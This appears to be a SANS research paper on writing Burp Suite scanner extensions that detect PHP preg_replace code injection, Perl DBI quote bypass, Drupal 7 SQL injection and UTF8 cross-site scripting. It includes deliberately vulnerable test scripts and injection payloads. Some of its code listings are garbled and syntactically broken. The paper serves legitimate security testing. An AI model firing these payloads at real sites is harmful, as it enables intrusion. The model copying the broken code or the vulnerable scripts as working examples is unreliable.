Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
Burp Suite Professional is one of the best web application vulnerability scanners in the market. The application has lots of useful built-in functions to find security problems. The main problem is the slowly updated scanning engine. Security experts find new attack methods almost every day, but up-to-date integration of these into the scanner is quite impossible. Hopefully, Burp Suite has the Extender function for developing new scanning techniques. Based on an eBay hacking bug bounty result, Drupal 7 SQL injection vulnerability, Perl DBI problems and UTF8 Cross-Site Scripting a new scanner extension was born. The ActiveScan++ extension is good starting point to develop a new scanning approach. The new implementation is good for every aspect of web application vulnerability assessments, for example, bug bounties.
1. Introduction

Burp Suite Professional is a powerful HTTP interception proxy with lots of additional functions like Spider, Sequencer or Scanner (Portswigernet, 2015). This tool is one of the most recommended security scanners (Henry Dalziel, 2015). The capabilities of this software almost make this the perfect web vulnerability scanner.

In conclusion, the main problem is the slowly updated scanning engine according to new attack mechanisms and user requests (Portswigernet, 2015). Security experts find new attack methods almost every day, but up-to-date integration of these into the scanner is quite impossible.

Burp Suite has the Extender function for developing new scanning techniques. PortSwigger Ltd. provides useful and complex documentation with samples for extension development (Portswigernet, 2015). Burp Suite is written in Java but supports writing extensions in Java, Python or Ruby. There is a discontinued forum (Portswigernet, 2015) and the new Support Center to discuss or read about the development (Portswigernet, 2015).

The test cases of the new plugin are based on bug bounty results, impressive web attacks and bypass techniques.
2. Scanning engine development

Burp Suite has an extension store called BApp Store and this is available from the Extender tool. The ActiveScan++ scanning extension (1.0.12 – 20151118) is written in Python language and supports the following vulnerability assessments:

- Shellshock;
- Blind code injection (Ruby’s open());
- Host header attacks.

Instead of developing the attack methods from scratch the ActiveScan++ extension is good starting point. The source code is available on GitHub under Apache license (Kettle, 2014). The Burp Suite Professional version 1.6.30 was used during the testing.

2.1. PHP preg_replace() array to string attack

This attack method was described in a public blog post about an eBay PHP remote code injection vulnerability (David Vieira-Kurz, 2013). Burp Suite Professional does not support this kind of array to string conversion problem detection, only simple code injection. One of the discussions on reddit.com included a vulnerable PHP code sample which is good for testing the extension.
First of all one must define a new scanner check by the registerScannerCheck() method:

```php
<?php
# https://www.reddit.com/r/netsec/comments/lsqppp/ebay_remotecodeexecution/

$query = $_GET['q'];

if(check_string($query)) {
    $query = filter_string($query);
} else {
    echo "Error: Variable is not a string.";
    die;
}

function check_string($str) {
    return preg_match("/^\w+$", (string)$str);
}

function filter_string($str) {
    return preg_replace("/^.*$/i", "filter_function("\"\1\")", $str);
}

function filter_function($str) {
    // do encoding / filtering etc. here
    return $str;
}
```

Figure 1. - Vulnerable `preg_replace()` usage

The `PhpPregArray` class is based on `CodeExec` class of the original extension. `PhpPregArray` has two methods: `__init__` and `doActiveScan`. The `__init__` defines the callbacks and the testing payload:

```python
class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IHttpListener):
    def registerExtenderCallbacks(self, this_callbacks):
        global callbacks
        callbacks = this_callbacks
        self_helpers = callbacks.getHelpers()
        callbacks.registerScannerCheck(PhpPregArray(callbacks))
```

Figure 2. - Define callbacks

```python
class PhpPregArray(IScannerCheck):
    def __init__(self, callbacks):
        self_helpers = callbacks.getHelpers()
        self_done = getIssues('Code injection')
        self_payloads = '${phpinfo()}'
```

Figure 3. - PhpPregArray initialization

Author Name, email@address
The `doActiveScan()` method supports only GET and POST HTTP requests, other injectable HTTP processing are out of scope. The following part of the code is set the HTTP method for the scanning according to the original HTTP request:

```
113  def doActiveScan(self, basePair, insertionPoint):
114      if self.helpers.analyzeRequest(basePair.getRequest()).getMethod() == 'GET':
115          method = IParameter.PARAM_URL
116      else:
117          method = IParameter.PARAM_BODY
```

**Figure 4. - Set up the HTTP method**

The `doActiveScan` method of the PhpPregArray transforms the GET or POST parameters into two arrays, therefore the method needs a parameter list:

```
119  parameters = self.helpers.analyzeRequest(basePair.getRequest()).getParameters()
```

**Figure 5. - Collect the HTTP parameters**

To avoid the unnecessarily scanning requests the extension makes checks only when the name of the parameter is equal the name of the actual insertion point. Unfortunately, this only works in Scanner but not from Intruder because Intruder uses digits for the names of the insertion points:

```
121  for parameter in parameters:
122      if parameter.getName() == insertionPoint.getInsertionPointName():
123          p0 = parameter.getName() + "[0]"
124          p1 = parameter.getName() + "[1]"
```

**Figure 6. - Constructing the array parameters**

Simple string concatenation is enough to construct the new array parameters p0 and p1. The `doActiveScan()` method removes the original parameter and makes a new HTTP request:

```
126  newRequest0 = self.helpers.removeParameter(basePair.getRequest(), parameter)
```

**Figure 7. - Original parameter removing**

The next two lines build the new values of the parameters, the first can be anything, but the second is the payload or vice versa:
Adding the newly created parameters is the last task before sending the scanning HTTP request:

```java
128  newParam0 = self.helpers.buildParameter(p0, 'search', method)
129  newParam1 = self.helpers.buildParameter(p1, self._payloads, method)
```

Figure 8. - Build the new array parameters and values

Before the verification of the vulnerability, the extension sends the HTTP request and save the response for further analysis:

```java
131  newRequest0 = self.helpers.addParameter(newRequest0, newParam0)
132  newRequest0 = self.helpers.addParameter(newRequest0, newParam1)
```

Figure 9. - Create new HTTP request

The payload contains the phpinfo() function accordingly the extension searches the “$_REQUEST” string which is a part of the phpinfo() output:

```java
134  attack = callbacks.makeHttp_request(basePair, getHttpService(), newRequest0)
135  resp = self.helpers.getBytesString(attack.getResponse())
```

Figure 10. - Sending and receiving the new HTTP packets

If the vulnerability has not been reported, lines 139-40 of the code does this. The CustomScanIssue method belongs to the ActiveScan++ extension and makes an issue from the vulnerability, saves the HTTP request and sets up the additional information. If the extension found any interesting vulnerabilities, then it generates the following issue:
The request tab contains the detailed trigger information:

```
GET /p3.php?a=123&search[0]=('&&phpinfo()) HTTP/1.1
Host: 172.16.25.188
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
```

**Figure 13. - Attack payload**

The response tab shows the output of the payload which is the output of the `phpinfo()` function:

```
<?php phpinfo(); ?>
```

**Figure 12. - Reported issue**
2.2. Perl DBI quote bypass

This attack mechanism is based on the DBI quote bypass technique (Netanel Rubin, 2014). Based on Netanel’s demo code the following CGI script was the testing interface:

```perl
#!/usr/bin/perl
use DBI;
use CGI;
use DBD::mysql;

print "Content-type: text/html\n\n\n"

my $cgi = CGI->new();
my $dvr = "$mysql";
my $dsdatabase = "mysql";
my $dsdn = "DBI:driver:database=$database";
my $user = "gwpalt";
my $password = "goldpaper";

my $dbh = DBI->connect($dsn, $user, $password) or die $DBI::errstr;
$query = "SELECT user, host FROM user WHERE user='\"$user\"'";

my $query_handler = $dbh->prepare($query);
$query_handler->execute();
$query_handler->bind_columns(\$user, \$host);

while($query_handler->fetch()) {
    print "$user, $host <br />
}
$dbh->disconnect;
```

The development tasks are simple, getting the current insertion points, names of the HTTP parameters and finally add parameters with the same names to the request with...
value 2. The getInsertionPoints() is defined inside the BurpExtender class and the BurpSuite is notified about its presence through registerScannerInsertionPointProvider(self). When the active scan runs, the scanner invokes this method and gets a list of the insertion points.

```python
18  def getInsertionPoints(self, baseRequestResponse):
19       path = self.helpers.analyzeRequest(baseRequestResponse).getUrl().getPath()
20       parameters = self.helpers.analyzeRequest(baseRequestResponse).getParameters()

Figure 16. - Getting the URL and HTTP parameters
```

The scanning engine handles only “pl” and “cgi” extensions:

```python
16
17  else:
18      ext = ''
19
20  if ext in ['pl', 'cgi']:
21      return InsertionPoint_Perl(self_helpers, baseRequestResponse.getRequest(), parameter for parameter in parameters)

Figure 17. - Extension validation
```

The original HTTP request and parameters are given to the constructor of the InsertionPoint_Perl class:

```python
31  class InsertionPoint_Perl(IScannerInsertionPoint):
32
33  def __init__(self, helpers, baseRequest, dataParameter):
34      self._helpers = helpers
35      self._baseRequest = baseRequest
36      self._dataParameter = dataParameter

Figure 18. - Init method of the InsertionPoint_Perl class
```

The next part of the code copies the actual value of the HTTP parameter with apostrophe prefix. After this string, there is the insertion point to check the possible SQL injection attack. The DBI quote bypass requires adding the original parameter name with value 2, this is the insertionPointSuffix:

```python
38  self._insertionPointPrefix = "\"" + dataValue
39  self._baseValue = dataValue
40  self._insertionPointPrefix = "&" + dataParameter.getName() + "=2"

Figure 19. - Constructing the proper string to inject the attack payloads
```

The getInsertionPointName method returns the scanned HTTP parameter name:
The getBaseValue method returns the base value of the actual insertion point:

```python
def getBaseValue(self):
    return self._baseValue
```

Figure 21. – getBaseValue

The buildRequest() method creates a new request with the specific payload in the current insertion point. The payload must be URL-encoded; otherwise, the injection does not work. The Scanner automatically adjusts the Content-Length header if it is needed. The updateParameter() method updates the insertion point parameter with the newly constructed attack string and payload:

```python
 def buildRequest(self, payload):
     input = self._insertionPointPrefix + self._helpers.urlencode(self._helpers.bytesToString(payload)) + self._insertionPointSuffix
     return self._helpers.updateParameter(self._request, self._insertionPointName, self._helpers.buildParameter(self._payloadName, self._payloadValue, self._dataParameter.getName()), False, Parameter.ANY_URL, self._headers, self._parameters)
```

Figure 22. – buildRequest method

The actual scanning and issue validation is done by the Scanner engine of Burp Suite Professional. The getInsertionPoint_Perl class only defines a new insertion point and adds the bypass parameter:

```bash
GET /cgi-bin/a.cgi?user='root'&amp;sql=SELECT+*+FROM(SELECT+sleep(20))%3E%3E2 HTTP/1.1
Host: 172.16.25.166
```

Figure 23. - The Perl DBI quote bypass vulnerability was found

### 2.3. Drupal 7 SQL injection vulnerability

Drupal 7 versions before 7.32 contain serious unauthenticated SQL injection vulnerabilities (Czumak, 2014). The method is almost the same as the Perl DBI quote
detection; therefore, this section describes only the differences. The getInsertionPoints
method contains the following conditional:

```
if (test in ['cgie', 'pl']) {
  return new InsertionPointDrupal(self, helpers, baseRequestResponse.getRequest(),
    parameter for parameter in parameters)
} else {
  return new InsertionPointPerf(self, helpers, baseRequestResponse.getRequest(),
    parameter for parameter in parameters)
}
```

**Figure 24. The scanning function is defined by the extension**

If the file extension in URL is not “CGI” or “PL” the Drupal scanning engine is
the active one. At this point, there are some opportunities to reduce the unnecessary
scanning cases for example, excluding the ASPX pages. The important part of the
InsertionPoint_Drupal class is the init method. The lines between 69 and 71 construct the
tricky HTTP parameters and SQL query because the Burp Suite Professional has no
appropriate scanning case:

```
self._insertionPointPrefix = "x" + dataParameter.getName() + self._helpers.urlEncode("[8]; select 1 from where 1=1")
self._baseValue = "x"
self._insertionPointSuffix = "[8]first5" + dataParameter.getName() + "[8]second"
```

**Figure 25. - Construction of the detection payload**

For the testing, the init method must replace the original names of the HTTP
parameters. The insertion point definition cannot do this because the baseValue cannot be
empty. However, the unhandled additional parameters do not affect the server side
processing. The Burp Suite Professional adds the equal sign; thus, the array insertion
point is not easily possible. The “x” HTTP variable is only a prefix padding to make the
insertion into an array. During testing phases, Burp Suite could not find the SQL injection
vulnerabilities, although it would be efficient to use the built-in SQL injection detection
design. The described method modifies the HTTP request so that Burp Suite would detect
the SQL injection by itself. The 71st line represents the rest of the HTTP parameter string
which is a simple constant except the actual parameter name. After this modification,
Burp Suite is capable of detecting this kind of vulnerability:

```
Start: SQL Injection
Severity: High
Host: 172.16.29.187
```

**Figure 26. - Reported issue**

Author Name, email@address
2.4. UTF8 Cross-Site Scripting

The ValidateRequest filter - if enabled in ASP.net environment - can prevent script injection attacks. The server does not accept data containing un-encoded HTML. This defense is easily bypassed with UTF8 encoded payload (Jardine, 2011). The attack is best for stored XSS detection if the data is stored in an ANSI character field in an SQL database. This scanning engine has some predefined UTF8 encoded XSS payloads and some other attack approaches. The engine is based on the mentioned PHP code execution class. The init method contains the new payload array:

```python
class UTF8XSS(ScannerCheck):
    def _init_(self, callbacks):
        self._helpers = callbacks.getHelpers()
        self._payloads = [
            # List of UTF8 encoded XSS payloads
        ]
        self._payloads.extend([payload.encode('utf8') for payload in self._payloads])
```

There is one big problem with this solution if the data visualization is on different web interfaces. In this implementation, every payload triggers the alert(1) method of JavaScript. If more payloads trigger the vulnerability after the character conversation, the scanning engine is not able to detect which is the correct one. The easiest solution is that every payload must contain different alert string.

The HTTP method handling and parameter collecting are the same as in the PHP injection class:
The following loops inject all the elements of the payload array in every HTTP parameter value. This can be done by removing the scanned HTTP parameter completely and add a new one with the iterated attack payload. The newRequest variable contains the modified HTTP request:

```python
for parameter in parameters:
    if parameter.getName() == insertionPoint.getName():
        break

    for XSS in self.payloads:
        if XSS.getPayload() == NewRequest.removeParameter(basePair.getRequest(), parameter):
            XSS.newParameter(attack, xss, method)

        XSS.newParameter(attack, xss, method)
```

Figure 30. - Constructing the testing payload

The attack payload is sent in the same way as the aforementioned scanning techniques:

```python
attack = callbacks.makeHttpRequest(basePair.getHttpService(), newRequest)
```

Figure 31. - HTTP request and response

The detection of the successful attack is quite simple. After the character transformation HTTP response must contain the “>alert(1)<” string. The following code verifies the existence of the mentioned JavaScript sequence:

```python
if 'alert(1)' in resp:
    url = self.helpers.analyzeRequest(attack).getUrl()

    if (url not in self._skipped) and (not self.isDone):
        self._done.append(url)

    return [CustomScanIssue(attack, resp, url, 'alert(1)<', 'Cross-site scripting',
                            'The application appears to evaluate user input.<p>', 'Firm', 'High')]
```

Figure 32. - Validation of the vulnerability

The vulnerability reporting is the same as in case of the presented PHP `preg_replace()` attack. The testing environment was a simple PHP script with string replacing function.
3. Conclusion

New scanning extension development for Burp Suite Professional is not a very difficult task considering the accessible documentation, sample codes and support. There are lots of interesting and unimplemented attack techniques which are good development goals, like the PHP extract() issue (Dcnoren, 2013). Web bug bounty disclosures are also a good starting point to get an idea. Improving the scanner engine is a good opportunity to find exotic or rare vulnerabilities.

The Logger++ extension (Ncc group, 2015) is very useful during the development process because it can log the packets which are coming from an extension. This is more practical than checking the HTTP log files or sniffing the network packets. The amount of the logged data can be reduced by enabling only the tested attack case in the Scanner or totally disabling the active scanning areas when developing a new scanning method.

Possible further development could be the time based or blind PHP command injection detection. This version of the scanner can only recognize the case if the interpreted input is returned. The Perl environment can also be affected by another type of HTTP parameter pollution (Netanel Rubin, 2014). The improved ActiveScan++ plugin can be downloaded from GitHub (Silent Signal, 2015).
References


Author Name, email@address


# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Venue</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London April Live Online 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Apr 27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>May 4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 04, 2020 - Jun 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 05, 2020 - Jun 11, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Hong Kong SE Asia Live Online 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 18, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 26, 2020 - Jul 02, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>May 26</td>
<td>IL</td>
<td>May 26, 2020 - May 29, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td></td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Rocky Mountain HackFest Summit &amp; Training 2020</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td>PA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Live Online July 2020</td>
<td>Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>Jul 1</td>
<td></td>
<td>Jul 01, 2020 - Jul 02, 2020</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Aug 12, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 6</td>
<td>VA</td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
</tr>
</tbody>
</table>